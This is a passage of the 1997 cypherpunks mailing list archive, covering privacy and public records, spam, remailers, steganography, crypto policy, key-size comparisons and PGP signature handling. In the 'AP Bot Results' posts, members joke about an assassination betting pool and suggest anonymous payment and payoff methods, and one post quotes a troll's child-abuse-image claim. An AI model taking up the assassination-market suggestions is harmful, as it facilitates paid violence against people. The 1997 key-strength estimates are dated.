>> of what appears is not necessary for the purpose stated. 
>> 
>> So are you making the case for having the state ask every detail about
>> your life and being able to place it in the licensing database, or only
>> answers to those questions relevant to issuing the license?

>I'm making the case that information I share with (for example) the DMV
>should not be viewable by those OUTSIDE of the DMV and NYPD without my
>consent - i.e. if Joe Insurance Inc. wants to insure my car, they need my
>permission to have the DMV release the info; but some folks have taken
>this to other weird tangents, such as polarizing one's point of view into
>either libertarian or stasist.  I hold neither.  And I've given up on the
>cluelessness of the same folks, so the topic I've dropped. :) 

Only one here being clueless is you Ray.

The state is not allowed to engage in secret activities with select
members of society. Whenever it issues a permit or a license to someone it
is public knowledge. Whenever someone is arrested, whenever there is a
trial both great and small the full details are public information.

All actions of the state *must* be reviewable by the citizens. You can not
have a free and open society without the people being able to check on
what it's government is doing.

This means that all of the following *must* be open to the public:

DMV Records
Criminal Records
Voter Registrations
Census Records
Building Permits
Profesional Licenses
Court Transcripts
Federal Records
State Records
County Records
City Records
ect, ect, ect.

The problem here is *NOT* that this information is public. The problem is
that the goverment has got it's fat little fingers into everything. The
solution is *NOT* letting the state hide what it is doing with these so
called privacy laws but to get the state out of where it has no business
being in the first place!!!

And this has nothing to do with GAK or any other 1984ish monitoring of
citizens. The issue here is bringing the activities of the state into the
light of day. The activities of the citizens that do not directly involve
the state are not at issue here.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM689eY9Co1n+aLhhAQFAKQP/ZzTP16dZaSSH2NIS2jj6HyNxvu2xZjfH
nxT70qouw2RXOjjupLCcsWA1E44uHNEhyh3GFv11eBb0AnE869h1YBwUAnUpk4yN
r7Xr1y8NIWjckowQQ6Dnq4GlMVUSM9BTwUvBGaaE/TdM/LDZcJLXR9U/3G5h9gsF
iAE9w+8FekQ=
=k3eZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 24 Jun 1997 12:21:09 +0800
To: cypherpunks@toad.com
Subject: ZDU Summer Registration is Now Open!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.3774.06231997200012.106979@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          6/24/97
-----------------------------------------------------------------
Registration is now open for summer classes at ZDU:

http://www.zdu.com

ZDNet University--the most affordable and convenient source of 
computing education on the Web--kicks into high-gear this summer
with a brand new line-up of online courses covering some of the 
hottest topics in technology today.

For only $4.95 a month, take as many computing classes as you want,
when you want. Whether you're at the beach, at home, or at the 
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to learn new computing skills, earn Continuing Education Units 
CEUs), and beef-up your resume -- all at your convenience.

===== Sign up Now!  Classes Fill Quickly =====

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*     Adobe Photoshop 4.0
*     And many more!  

New classes are added all the time. You can view the complete ZDU
Course Catalog at:

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==== Stay Tuned for New Features and Site Enhancements ====

Also coming this summer: Special offers  for ZDU students, online 
chats, extracurricular clubs, and more. For more information about 
ZDU, get online and tour the ZDU campus or check out a sample 
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today -- ZDNet University!

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_______________________________________________________________

ZDNet Announcements are periodic notices of new features,
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--To subscribe to ZDNet Announcements, please send mail to:
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===============================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 24 Jun 1997 05:24:51 +0800
To: rttc0025@pophost.club.innet.be
Subject: Re: anonymous mail
In-Reply-To: <199706231343.PAA10140@hydrogen.inbe.net>
Message-ID: <m0wgFyw-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>could you send me the name of an remailer that works in Belgium
>please, i would be most gratefull

A list of reliable remailers is sent to this list weekly. You can
learn more details at <URL:http://www.stack.nl/~galactus/remailers/>.
This is the Internet, so it doesn't matter where a remailer is.  You
can use all of them from Belgium.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Mon, 23 Jun 1997 21:14:39 +0800
To: cypherpunks@toad.com
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.SOL.3.91.970623224324.26980A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



I thik i've badly explained myself.

The reason i HATE spam is for the same reason i hate telemarketing. I 
resent these #@%@#$@$ using MY mail box as an advertising medium. If i 
look at there page, and it has advertising thats fine, because i went 
there. If i'm on a list that has advertsing on it, then it is my choive 
and i can get off the list. Having it sent to MY email box is NOT my 
choice and my rights to choose are being infringed by these idiot 
shoveling there crap into my email box. 

Do you like telemarketers calling you ?? Is that free speech or invasion 
of privacy. There is a solution to tele marketing. It is to tell thm it 
will cost the $500 to use your phone for advertising purposes. It has 
been done, taken to court and won. In fact the judge had his football 
inturpted by the telemarketers and they has to pay. This guy has never 
been called again. 

WOuld this work with SPAM ?? I dont want it and they dont have permisiion 
to advertise in something that is mine. IF that is a violation of free 
speech can i come over to your place and put up some pro neo-nazi stuff 
on your property without your permission. I'm just harmlessly advertising 
on yuor personal property.

I agree this is an extreme example but i think it makes the point. 

I'm not anti-free speech, i'm just anti unwanted mail.

Unfortuently i cant just tell them it will set them back cash to 
advertise in my mail box because i'm in australia and the legal headaches 
wouldn't make it worth it. Doe snaybody in the US want to take it up and 
kill spam once and for all ?? You only need the legal precedent set.

I expect to get flamed and crapped all over for this but i dont care. I 
resent being suggested i'm some sort of ultra right conservative. Well i 
guess thats who those guys are i was told i was wanting to be like.

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 24 Jun 1997 14:51:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <v03102804afd38b324730@[10.0.2.15]>
Message-ID: <3.0.2.32.19970623233825.03113e3c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> >That's the major problem with images, you need to generate your own.
>> >Unless you fancy writing an image enhancement system, and analyse the
>> >algorithms in existing systems to ensure that randomness is
>> >introduced.
..
>Or, set up your own webcam "to watch your coffee pot twice a minute" or
>something. Merge the crypto stream through the gifs after tweaking the
>brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
>of 254/255 values gets suspicious, and is not from thermal noise - a
>"problem" with monochrome quickcams for night photography).

Pictures like coffee pots are likely to have parts that change
(e.g. the state of the coffee pot) and parts that don't change 
(e.g. the part of the wall that isn't blocked by the pot.)
This means that it's easy to tell which bits are being messed with,
if somebody's watching successive pictures.  If the digitization's
random enough in the low bits, it's a bit better, but a picture of
something moving helps.  Oceans and fog are great....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 24 Jun 1997 15:01:06 +0800
To: cypherpunks@toad.com
Subject: Re: AP Bot Results
In-Reply-To: <199706231344.JAA17712@dhp.com>
Message-ID: <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At or before 09:44 AM 6/23/97 -0400, some provocateur wrote:
...
>Leading eCa$h candidates for dying at an opportune time to make some
>perennial loser "Dead Lucky" are:
...[targets deleted, with prices from $514 to 2,610.02 ]

>Leading Contributors/Bettors:
>The James Gang
>The Dalton Gang
>The Bell Gang
>William Geiger III

You've done an inadequate job of implementing your protocol,
endangering your customers far more than your targets.
[And your customers are _cheapskates_ as well :-) ]

A proper bot would accept contributions from
Public Key 0x23DEADBEEF9999999
Public Key 0x45BEEFDEAD9854355
and similar one-use identities.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 24 Jun 1997 11:56:16 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <199706240346.XAA21269@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
| Who on this list intends to go to HIP'97? http://www.hip97.nl
| I would like to organize a C*punks meeting there.

I'm going to go to Beyond Hope instead.  (www.2600.com)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 24 Jun 1997 15:11:11 +0800
To: declan@well.com
Subject: Re: The Global Fix is In
Message-ID: <3.0.32.19970623090316.006bf1e0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Maybe I should have said lobbyist group masquerading as 'thinktank'
Like the American Security Council.

AND: grassroots is totally different - I agree that they would be a voice
in the wilderness -
and very ineffectual

How can you put them in the same category, "conservative thinktanks and
grassroots groups" as if they are even in the same universe?  Can any
grassroots org.
demonstrate the same track record in pushing legislation to go their way as
can the 
corporate-funded PAC/thinktanks?

Go back and look at the PAC list for McCain, and tell me how many that he
is aligned with are 
leading the opposition to administration proposals?

And then tell me that the thinktanks and the PACs are independent and
unrelated.  I don't think so.
The thinktanks are used by the PACs and funded by them, indirectly at least.

By the way, what does Rand Corp. have to say?



At 10:16 PM 6/22/97 -0400, Declan McCullagh wrote:
>Without taking a position on the rest of the following post, I should say
>that it's the conservative thinktanks and grassroots groups that are
>leading the opposition to all administration proposals and are taking a
>crypto-absolutist stance. 
>
>-Declan
>
>Sure, libertarian groups are just as good or better, but there are fewer
>of them. (Cato -still- hasn't come out with their crypto policy analysis
>even after they've been working on it for half a year. At least their
>privacy paper should be coming out soon. And CEI doesn't have the staff to
>devote someone to this issue.) They've done a few conferences and such,
>but they're limited by numbers. 
>
>
>
>On Sun, 22 Jun 1997 geeman@best.com wrote:
>
>> massive investments being made by Industry in the conservative thinktanks
>> who produce the
>> intellectual fodder-de-jour that supports the position of this elite, and
>> overwhelm the
>> likes of McCain and Kerrey with
>> impossible-for-the-legislature-to-understand managed 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 24 Jun 1997 15:10:41 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: McCain Talks Crypto
Message-ID: <3.0.32.19691231160000.006bf1e0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:23 AM 6/23/97 -0700, Bill Stewart wrote:
I still think that there is a huge power behind the effort - and that is
based in
dollars.  The child-porn/national security issues just make it
understandable for the
CNN digest of reality, and the clueless among the Government. 

Appealing to those arguments with compelling counterarguments in the same
terms
will effect results, perhaps, but only if big dollar$ are behind it.

Money will change the course of events here, and I doubt anything else will.

>
>Sigh.  Make the laws and then work out the details -- I don't think so :-)
>
>However, if his real concern IS national security, then perhaps
>he can be reached - not only is our real national security based on
>the economy, but any vaguely competent foreign government or
>major terrorist organization has access to all the crypto they need:
>unlike fully assembled missiles and plutonium, which are hard to get and
>hard to smuggle across borders, crypto is easy to buy anywhere in the US,
>and the Enemies Of The State just have to take one copy out, by laptop,
>by floppy disk, by modem, or by satellite, and you've lost control.
>
>I assume he knows he's using the child pornography excuse as a 
>cynical play to the media - the obvious response is that 
>	McCain's Pro-Forgery Bill
>by making good crypto tools less available, and by making sure
>that people will choose to get their important digital certificates
>from multiple CAs and non-US-controlled CAs, or just go uncertified,
>will make it forgery more common and digital signatures less trusted.
>So <wave hands wildly here> your kids are more likely to have fake IDs
>like we did to drink when we were younger and <wave hands again>
>that'll lead to more pornography on the net, imported from foreign
>countries that have lower standards than our fine American communities,
and...
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 24 Jun 1997 07:23:57 +0800
To: cypherpunks@cyberpass.net
Subject: Comparing Cryptographic Key Sizes
Message-ID: <199706232313.AAA00156@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Below is a explanation of the meaning of cryptographic key sizes which
started as an explanation I wrote for a journalist friend of mine, on
being asked about how relatively secure a system using DES and RSA
(SET) was as compared to netscapes export version of SSL.

I've re-written it to make it more general in scope.

One of the most common errors I see in news stories about
cryptographic breaks is to (say) compare 1024 bit RSA keys with 56 bit
symmetric keys as if the two key sizes are directly comparable.

This new document is intended to be simple and understandable to give
people a handle on how to describe and compare cryptographic systems
strengths.

This document by design glosses over some details, where I think this
is reasonable.

It could use some criticism.  If you are not that crypto aware, does
it make sense to you?  If you are crypto aware, what do you think of
my off the cuff estimates of hardness?

I wrote it with journalists in mind.  If you are a journalist and find
it useful, feel free to quote parts/all of it without attribution.

Adam


Comparing Cryptographic Key Sizes

There are two types of key sizes: public key (sometimes called
asymmetric key) and symmetric keys.  Examples of public key algorithms
are RSA, and Diffie-Hellman.  Examples of symmetric key algorithms are
RC4, DES, IDEA.  You can not directly compare public key lengths (for
example RSA keys) with symmetric key lengths (DES, RC4).  This is an
important point which confuses many people.

For example 40 bit RC4 (a symmetric key cipher) can be broken in a few
hours with a few hundred workstations.  40 bit RSA (a public key
cipher) can be broken in a fraction of a second on one PC.  RSA keys
need to be I'd guess around 350 bits to be equivalent in strength to
40 bit RC4.

56 bit DES is probably roughly similar to 512 bit RSA in hardness to
break.

Symmetric keys sizes are easy to reason with: one more bit in key
length is twice as hard to break, for the same algorithm.  It is more
complicated estimating the hardness to break of public key (say RSA)
keys of varying sizes as they get harder more gradually than symmetric
keys.  This is why public key systems have longer keys, you need more
bits to get the same security level.

Most systems use a mixture of public and symmetric key ciphers.  This
is because public key ciphers are _slow_.  Symmetric key ciphers are
fast, and so are used in combination with public key systems to speed
up the combined system.  Public key systems are used because of the
advantages of public key management they make possible.

When considering the strength of a system using two ciphers one public
key and one symmetric key, the strength of the system is equal to the
strength of the weakest link.

For example: consider the export version of SSL, as shipped in the
export version of Netscape browsers and servers.  It uses 512 bit RSA,
and 40 bit RC4.  It is easier to crack 40 bit RC4 than it is to crack
512 bit RSA, so export SSL can be broken by breaking the 40 bit RC4
component.  Ian Goldberg recently broke a 40 bit RC5 key himself with
Berkeley univ machines in 3.5 hours.  40 bit RC4 could be broken in a
similar amount of time.

512 bits RSA is not enough either, and you can rest assured that the
NSA, other governments' secret services, and any corporation or
organised crime group with sufficient funds can break it.  512 bits is
likely within reach of a distributed internet effort, of similar or
smaller scale than the recent DES breaking.

56 bit DES is harder to break than 40 bit RC4 (SSL), from the number
bits you might think it would be 65536 times harder, but it's less
than that because DES is faster than RC4.  In software it's about 5
times faster, so that means breaking DES in software is about 10000
times harder than breaking 40 bit RC4 (as used in export SSL) in
software.

But, if the Russian Mafia, or a corporation involved in industrial
espionage wanted to break 56 bit DES they would not do it in software.
They would build a special purpose piece of hardware which was
designed only to break DES.  DES was designed to be fast in hardware,
it is a relatively slow ciphers in software.

About 10 years ago now Michael Wiener made a design for such a DES
breaking machine.  He estimated it would cost $10,000,000 to build a
machine which would break a 56 bit DES encrypted message a few hours.
His machine was scalable, pay more money, break the key faster, pay
less take longer.  The estimate was that could build one with enough
DES key searching units to break it in a day for $1,000,000.  That was
10 years ago.  10 years is a long time in the computer industry.
Nowadays you build the machine more cheaply as chip technology has
progressed, and computers are much faster per $.  Estimates are around
$100,000 to build the machine (neglecting hardware engineers
consultancy fees).

Everyone expects that NSA, GCHQ, SCSSI have built such a machine for
$100,000+.  This is obvious because the NSA and SCSSI allow export of
56 bit DES.

$100,000 is not much money for a secret service.

Algorithms using 40 bit keys aren't secure at all, past a very
superficial casual level of protection.  Systems using DES, such as
SET are only secure against organisations who can't raise $100,000 and
can't find people who know lots about crypto and hardware design.
$100,000 is not much money for a secret service.  It's not much for
the Rusian Mafia either.

END





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 24 Jun 1997 13:49:38 +0800
To: Lee Gibbon <leegib@MICROSOFT.com>
Subject: RE: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <51194C00BD39CF11839000805F385DB205394FAB@RED-65-MSG.dns.microsoft.com>
Message-ID: <Pine.GSO.3.95.970624013455.28175A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Lee Gibbon wrote:

> Assuming a government like ours, the problem I see with "eliminating 90%
> of the sitting legislature" is the question of who really rules?  I
> favor term limits - only one term per position.  I don't like the idea
> of professional politicians.  But, where would the power reside?  The
> bureaucracy and the political parties?  -Sounds dangerous to me. 

Well, with one term per position, you have a problem with turnover being a
bit too high to give any consistency in government policy, and you (I
believe) would end up with the bureaucracy of assistants running the show
overall, with only minor adjustments for the current Reps.  Term limits of
some sort aren't a bad idea, though I do like the thought of punishment
for passing too many unconstitutional laws.  The proposed method has a few
problems in it that no one has suggested how to reconcile.  I'm at a loss
for a solution right now, I'm kinda hoping someone else will find one.

We've got a relatively decent style of government here.  I can see some
advantages in some aspects of parliamentary rule (actually, the tendency
of such systems to have more political parties is better, but adapting
that to us is more complicated.. Basically, Congressional districts would
have to die, and be replaced with everyone in the state voting for X/2
reps, where X is the number the state gets as a hole (This might not work 
well, but some method of voting for all the reps as a state, and taking
the best.. probably different math, but..). With this you'd have some more
smaller party candidates winning, and parties would stay a little more
focused.  (You'd actually have a libertarian influence obvious in
Congress, with the other traditionals, etc..)

This is the only alteration to our current form that I can see making
sense.  A President who claims to come from one of a few large world-views
is not a horrible thing, he/she tends to set a general policy, and it goes
from there.  The Congress gets to do all the real fighting, and there you
have lots of compromises among different groups.  Then again, this is
where the Consitutionality/penalty problems arise, but it's almost a
different issue..

Any thoughts anyone?

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Tue, 24 Jun 1997 17:20:51 +0800
To: cypherpunks@toad.com
Subject: Re: New PGP signatures (fwd)
Message-ID: <Pine.SOL.3.96.970624020657.16641D-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 23 Jun 1997, William H. Geiger III wrote:

> You really need to modify your mail-processing code as you are going to
> see more and more of these. You should also start work on implementing the
> PGP/MIME RFC as you will be seeing more of these messages.

It's kind of hard to modify the code when I'm still waiting for the PGP
5.0 code to be made available. I can't do a lot until people finish
OCR-ing it. 
 
> Nothing personal but your code should not "break" on any data that is sent
> to it. PGP 2.6.x doen't have a problem with these signatures it just
> returns a error code and goes on it's way.

Precisely; it returns an error and drops out. It *does not* output the
signed message to stdout as it would do if it were an RSA-signed message,
so it just looks like an empty message. At the moment I have better things
to do, but I guess if people are going to use non-standard message formats
they don't want us to read what they write anyway.

	Mark







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 15:31:43 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: AP Bot Results
In-Reply-To: <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>
Message-ID: <199706240714.CAA04526@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>, on 06/23/97 
   at 11:44 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>At or before 09:44 AM 6/23/97 -0400, some provocateur wrote: ...
>>Leading eCa$h candidates for dying at an opportune time to make some
>>perennial loser "Dead Lucky" are:
>...[targets deleted, with prices from $514 to 2,610.02 ]

>>Leading Contributors/Bettors:
>>The James Gang
>>The Dalton Gang
>>The Bell Gang
>>William Geiger III

>You've done an inadequate job of implementing your protocol, endangering
>your customers far more than your targets.
>[And your customers are _cheapskates_ as well :-) ]

well, well, well...

Not that I have a problem being associated with an AP betting pool I do
take exception to being called cheap!! :)

If I had been involved in such an operation their are two thing that you
can be sure of:

1. I would have picked better targets
2. I would have supplied sufficient funds to get the job done.

BTW who the hell is Cindy Brown??

>A proper bot would accept contributions from
>Public Key 0x23DEADBEEF9999999
>Public Key 0x45BEEFDEAD9854355
>and similar one-use identities.

As far as the contributors no id is necessary all that is needed is the
e$cash

Anonymous bank account #'s for where the funds should be deposited should
be sufficient for the payoff.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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=plkX
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 24 Jun 1997 10:38:05 +0800
To: cypherpunks@toad.com
Subject: Re: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <19970624021655.17871.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



> Here, yet again, is the same Time-Life child pornography picture, which
> is encrypted with the public keys of people I don't know from squat.
> Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
> child pornography ring.
> Since they are unwitting participants in the spread of this filth
> across the internet, I would suggest that they contact law enforcement
> officials and offer to testify against the cypherpunks and employees
> of Time-Life in return for immunity or reduced sentences ending in ...

Baayen, R. H., van Halteren, H. and Tweedie, F. J. (1996).  Outside the
Cave of Shadows: Using syntactic annotation to enhance authorship
attribution. Literary and Linguistic Computing, 11 (3). pp. 121-131.

Bailey, Richard W., (1979). Authorship attribution in a forensic setting.
D.E. Aeger, F.E.Knowles & J.Smith (Eds). Advances in Computer-Aided Literary
and Linguistic Resaerch. Proc. 5th Intl. Symposium on Computers in
Literary and Linguistic Research, Birmingham, 1978.

Brainerd, B., (1974). Weighing evidence in language and literature: a
statistical approach. University of Toronto Press. Toronto.

Brainerd, B.  (1988).  Two models for the type-token relation with time
dependant vocabulary reservoir.  P. Thoiron, D. Serant & D. Labbe (Eds.).
Vocabulary structure and lexical richness.  Champion-Slatkine.  Paris.

de Morgan, Sophia, E.  (1882). Memoir of Augustus de Morgan by his wife
Sophia Elizabeth de Morgan with selections from his letters.
Longmans, Green, and Co.  London.

Ellegard, A.A.  (1962). A Statistical Method for Determining Authorship:
The Janus Letters, 1769-1772.  University of Gothenburg.  Gothenburg.

Fucks, W.  (1952). On the mathematical analysis of style.
Biometrika 39.  pp. 122-129.

Grayston, K. & Herdan, G.  (1959). The authorship of the Pastorals in the
light of statistical linguistics.  New Testament Studies 6. pp. 1-15.

Holmes, David, I.  (1994). Authorship attribution.  Computers and the
Humanities 28.  pp. 87-106.

Holmes-Higgin, P.R. (1995). Text Knowledge: the Quirk Experiments.
Ph.D. Thesis, Dept. Mathematical and Computing Sciences, University of
Surrey, Guildford, England.

Honore, A.  (1979). Some Simple Measures of Richness of Vocabulary.
Association for Literary and Linguistic Computing Bulletin 7.
pp. 172-177.

Hubert, P. & Labbe, D.  (1988). A model of vocabulary partition.
Journal of the Association for Literary and Linguistic Computing 3.
pp. 223-225.

Ledger, Gerard R. (1989). Re-counting Plato: A Computer Analysis of
Plato's Style.  Clarendon Press.  Oxford.

Matthews, Robert & Merriam, Thomas V.N.  (1993). Neural computation in
stylometry I: an application to the works of Shakespeare and Marlowe.
Literary and Linguistic Computing 8 (4).  pp. 203-209.

Matthews, Robert & Merriam, Thomas V.N.  (1994). Neural computation in
stylometry II: an application to the works of Shakespeare and Marlowe.
Literary and Linguistic Computing 9 (1).  pp. 1-6.

Mendenhall, Thomas C.  (1887). The Characteristic Curves of Composition.
Science IX.  pp. 237-249.

Orlov, J. K.  (1983). Ein Modell der Haufigkeitsstruktur des Vokabulars.
H. Guiter and M. Arapov (Eds), Studies in Zipf's Law, Bochum: Brockmeyer,
pp. 154-233.

Ratkowsky, D.A. & Hantrais, L.  (1975). Tables for comparing the richness
and structure of vocabulary in texts of different lengths.  Computers and
the Humanities 9.  pp. 69-75.

Sichel, H.S.  (1974). On a distribution representing sentence-length in
written prose.  Journal of the Royal Statistical Society (A) 137.  pp. 25-34.

Sichel, H.S.  (1986). Word frequency distributions and type-token
characteristics.  Mathematical Scientist 11.  pp. 45-72.

Tweedie, Fiona J., Singh, S. & Holmes, David I.  (1994). Neural Network
Applications in Stylometry: The Federalist Papers.  Proceedings of the
3rd Conference on the Cognitive Science of Natural Language Processing,
Dublin City University, Dublin, 7-8 July 1994.

Tweedie, Fiona J., Baayen, R. H.  (1997). Lexical `constants' in
stylometry and authorship studies.  To appear.

Yule, George U.  (1938). On sentence-length as a statistical characteristic
of style in prose, with application to two cases of disputed authorship.
Biometrika 30.  pp. 363-390.

Yule, George U.  (1944)
The statistical study of literary vocabulary.  Cambridge University Press.
Cambridge.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Tue, 24 Jun 1997 12:12:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: How did these people find our list?
In-Reply-To: <v03102801afd44ad76fad@[207.167.93.63]>
Message-ID: <Pine.SUN.3.95.970624040310.6939A-100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Tim May wrote:

> there has been no credible threat of attack or invasion of the states in
> America in at least 170 years, what you were largely agreeing to protect

	Pearl Harbour.

	The State of Oregon << The only state to have been bombed by
	a foreign country.  >>  during World War Two.

          xan

          jonathon
          grafolog@netcom.com


	Monolingualism is a curable disease

	Allichu         Yusulpayki      Ari     Manan  Allin    Maypin...?
	olu olu	        mahalo		ae      a o le	po no	ho omaopo po?
	S'il vous plait	Merci		Oui	Non	Bon	Ou est...?
	Proht		Khop khun	Dja	Plaau	Sabai dii   Treh nai...?
	Por favor	Gracias		Si	No	Bueno	?Donde esta...?	
 	Bitte		Danke		Ja	Nein	Gut	Wo ist...?
	Faca favor	Obrigado 	Sim	Nao	Bom	Onde...?
	Per piacere	Grazie		Si	No	Buono	Dov'e...?
	Var vanlig	Tack		Ja	Nej	God	Var...?
	Ole hyva        Kiitos  	Kylla   Ei      Hyva    Missa ...?
	Silakan 	Terima Kasih	Ja	Tidak	Bagas	Dimana...?
	Merher-bani	Danyavad	Han	Nahin?	Bahut   Kahan...?
	Seh merher-bani	Shukria		Han	Nahin?	Bahut	Kahan...?
	Dozo		Arigato		Hai	Iye	Yoi    ...doko desu-kai?
	Ching		Doh shieh	Shih	Boo shih  Hao   ...ts'ai na li?
	Xin ong		Cam on ong	Vang	Khong	Tot lam  O dau?
	Var venlig	Takk		Ja	Nej	God	Hvor...?
	Asablief	Baie Danke	Ja 	Nee	Goed	Waar is..?
        Alstublieft     Dank U  	Ja      Nee     Goed    Waar...? 
	Vennlist	Takk		Ja	Nei	God	Hvor...?
	Parakalo	Efharisto	Neh	Ohi	Kala	Poo ine...?
	Bevakashah	Todah rabah	Ken	Lo	Tov	Efoh...?
	Lutfen		Tesekkur	Evet	Yok	Iyi	Nereye...?
	Molim		Hvala		Da	Ne	Dobro	Gdje...?
	Tafadhali	Asanti		N dio	La	Nzuri	Wapi...?
	Pazahal'sta	Spasiba		Da	N'yet	Harasho  Gd'yeh...?
	Prosze		Dziekuje	Tak	Nie	Dobrze	 Gdzie...?
	Herem		Koszonom	Igen	Nem	Jol	Hol...?
	Va rog		Multumesc	Da	Nu	Bine	Unde...?
	Min faadlak	Shukran		Naam	La	Mlih	Wen...?
	Min faadlik << feminine form >>
	...jusipsyo	Komapsumnida	Ne	Aniyo	Tadaghi chosumnida
								Oti...?
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 24 Jun 1997 20:21:25 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: How did these people find our list? (fwd)
Message-ID: <199706241153.GAA25486@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 04:05:42 +0000 (GMT)
> From: jonathon <grafolog@netcom.com>
> Subject: Re: How did these people find our list?

> 	The State of Oregon << The only state to have been bombed by
> 	a foreign country.  >>  during World War Two.

Brrrrppppp. Thank you for playing. Your consolation prize is a big whoopie
cushion.

